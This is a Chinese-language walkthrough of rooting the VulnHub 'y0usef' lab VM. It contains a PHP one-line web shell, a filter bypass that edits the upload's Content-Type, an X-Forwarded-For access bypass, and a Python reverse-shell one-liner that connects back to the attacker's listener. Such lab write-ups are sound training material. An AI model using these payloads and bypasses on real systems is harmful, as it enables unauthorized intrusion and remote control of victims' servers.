第一周

可弟WZ

主页:blog.kekwy.com

邮箱:keekkewy@qq.com

2022年9月27日

一、实验准备

靶机:y0usef

下载链接:https://www.vulnhub.com/entry/y0usef-1,624/

攻击机:kali

二、实验目标

取得目标靶机的root权限和2个flag。

三、实验内容

  1. 在VirtualBox中同时启动kali攻击机和第三周靶机,并保证两者位于同一局域网下。

  2. 在kali中执行以下指令进行局域网主机发现:

    1
    $ sudo arp-scan -I eth0 -l

    扫描结果如下:

    image-20220921103912013

    可以推断1出靶机 地址为 10.0.2.5

    1: 推断方式很多,可以挨个扫描端口,可以控制变量(不开靶机扫描一次,启动靶机后再扫描一次),可以对比扫描结果与靶机的mac地址,也可以是经验之谈。

  3. 在kali中执行以下指令扫描靶机的端口状态:

    1
    $ sudo nmap -p- 10.0.2.5

    扫描结果如下:

    image-20220921083225282

    发现开通了22、80两个端口,提示我们可以考虑靶机上的sshhttp服务。为了进一步确定各端口的用途,我们可以通过以下指令2获取对应的服务版本信息:

    1
    $ sudo nmap -p22,80 -sV -sC 10.0.2.5

    2: -p 对指定端口扫描

    -sV -sC 默认安全脚本扫描

    扫描结果如下:

    image-20220921111148084

  4. 我们根据靶机开放的80端口,推测可以去网页上寻找突破口。于是在kali中打开浏览器,并输入靶机的IP,进入在靶机上运行的网站,顺便查看网站的源码:

    image-20220921111747118

    但是发现网站与其源码中均无对我们有帮助的信息,再尝试能否查看靶机上的robots.txt文件3

    image-20220921112049063

    但令人遗憾的是,我们并不能查看该文件。

    3: Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。obots.txt文件是一个文本文件。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉网络爬虫在服务器上什么文件是可以被查看的。

  5. 使用whatweb工具查看web应用所采用的软件构架:

    1
    $ whatweb http://10.0.2.5

    image-20220921151941056

    尝试使用工具dirsearch爆破 web 服务端的路径,发现一些隐藏的路径和文件:

    1
    $ dirsearch -u http://10.0.2.5

    结果如下:

    image-20220921091507301

    得知4服务器上有三个我们可以访问的文件:

    1
    2
    3
    /adminstration
    /index.php
    /index.php/login

    其中,通过后两个文件的url进入服务器后的页面与此前相同,仍无有价值信息。

    4: HTTP的状态码可分为五大类:1xx-临时响应、2xx-成功、3xx-重定向、4xx-请求错误、5xx-服务器错误。

    上述结果中出现的状态码的含义分别为:

    状态码 含义
    403 (禁止)服务器拒绝请求。
    301 (永久移动)请求的网页已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
    200 (成功)服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。
  6. 访问10.0.2.5/adminstration

    image-20220921114137208

    提示我们没有权限,需要进行“绕过”。这里我们采用“X系列头部绕过”的方式:

    启动Burp Suit并启用拦截,将浏览器代理设置为127.0.0.1:8080(Burp Suit的默认代理端口为8080)。

    刷新页面,Burp Suit弹出拦截窗口,在被拦截的数据包中加入X-Forwarded-For: 127.0.0.15(如下图),再将其发送。【后续被拦截的数据包都需要插入上述内容。】

    image-20220921124711969

    发现成功进入一个登录界面:

    image-20220921124805448

    这里我们可以直接尝试一下弱口令,用户名和密码都输入admin,发现登入成功了。

    image-20220921130249392

    5: 让靶机服务器误以为该报文是从其本地发起的,从而获取访问权限。

  7. 简单浏览了各个页面之后,发现没有什么直接可用的信息,但是这里的文件上传功能引起了我们的注意。

    首先编写一个“一句话木马”的PHP 文件shell.php,内容如下:

    1
    <?php $var=shell_exec($_GET['cmd']); echo $var?>

    尝试直接将其上传,发现网站提示文件被拒绝:

    image-20220921130902640

    推测网站可能存在针对文件类型的过滤6,我们可以通过修改被拦截的报文中Content-Type字段的值进行绕过:

    image-20220921131442789

    修改为:image/png

    image-20220921131518489

    文件上传成功了,并提供了上传完成的文件的URL。

    image-20220921131734558

    6: 常见的过滤形式与绕过方法:

    1. 针对文件扩展名的绕过:

    修改文件扩展名后,再上传。

    2)针对文件类型的绕过:

    修改报文中的Content-Type字段(如本次实验)。

    3)针对文件内容的绕过:

    在文件内容的前面添加上符合文件类型要求的数据,中间穿插我们的代码。

  8. 通过URL访问文件:

    1
    http://10.0.2.5/adminstration/upload/files/1663725708shell.php

    进入了一片空白的页面,说明该url正确。再尝试输入指令,测试代码是否可以正常运行:

    1
    http://10.0.2.5/adminstration/upload/files/1663725708shell.php?cmd=ls

    image-20220921133834453

    指令成功运行,到此为止我们就可以通过url让目标靶机执行反弹shell的代码了。首先,先试探一下靶机的语言环境:

    1
    http://10.0.2.5/adminstration/upload/files/1663725708shell.php?cmd=which python

    得到了靶机上的python路径,说明靶机有python环境:

    image-20220921134349689

    故我们可以利用python版的反弹shell代码实现反弹shell,首先在kali上监听某一个端口(如4444端口):

    1
    $ nc -nvlp 4444

    修改对应的python代码:

    1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    其中ip修改为kali的ip,port修改为刚才设置监听的端口。本次实验中分别为10.0.2.15、4444.

    将修改好的代码插入上述URL中对应的参数位置(”cmd=”之后),再次访问,发现kali的shell成功监听到靶机的反弹shell:

    image-20220921140145500

    使用以下指令对反弹shell进行一个简单的升级:

    1
    $ python -c "import pty; pty.spawn('/bin/bash')"

    image-20220921140419911

  9. 查看/etc/passwd 文件7

    1
    $ cat /etc/passwd

    注意到有以下一项:

    1
    yousef:x:1000:1000:yousef,,,:/home/yousef:/bin/bash

    说明有一个叫yousef的用户可以登录系统8,且主目录为/home/yousef

    进入该用户的主目录,发现文件user.txt。查看内容,发现第一个flag。

    7: 在Linux系统中的passwd文件中,每一行对应一个用户的一组信息,每项信息用冒号隔开:

    1
    用户名 : 密码 : uid : gid : 用户描述 : 主目录 : 登录shell

    8: 对于用户的登录shell:

    /bin/false 是最严格的禁止login选项,一切服务都不能用,

    /bin/nologin 只是不允许系统login,可以使用其他ftp等服务

    因此我们一眼就锁定了yousef用户(靶机passwd中的大部分用户都不能进行系统登录),而speech-dispatcher、guest-cpxNn2貌似也可以系统登录,但他们的用户名比较奇怪,不作为首选目标,当然也可以都去他们的主目录看一看,结果发现flag在yousef中,还是选择yousef作为突破口。

  10. 第一个flag经过base64解码后,得到yousef用户可用于ssh登录的用户名和密码。恰好我们一开始就得知靶机在开放端口22上提供了ssh服务,故我们可以尝试使用ssh登入yousef。

    退出反弹shell,在kali的shell使用以下指令:

    1
    $ ssh yousef@10.0.2.5
    image-20220921142200653

    成功登入yousef后,查看该用户所在的用户组:

    1
    $ id

    image-20220921142413525

    发现该用户属于sudo组,查看该用户可执行的指令:

    1
    $ sudo -l

    image-20220921142645249

    发现该用户可以执行所有的系统指令,则我们可以直接切换为root身份:

    1
    $ sudo -i

    查看root用户主目录下的文件,发现文件root.txt,查看并使用base64解码得到最后一个flag。

  11. 至此我们实现了root权限的提取,并成功获取了所有的两个flag。

【完结撒花】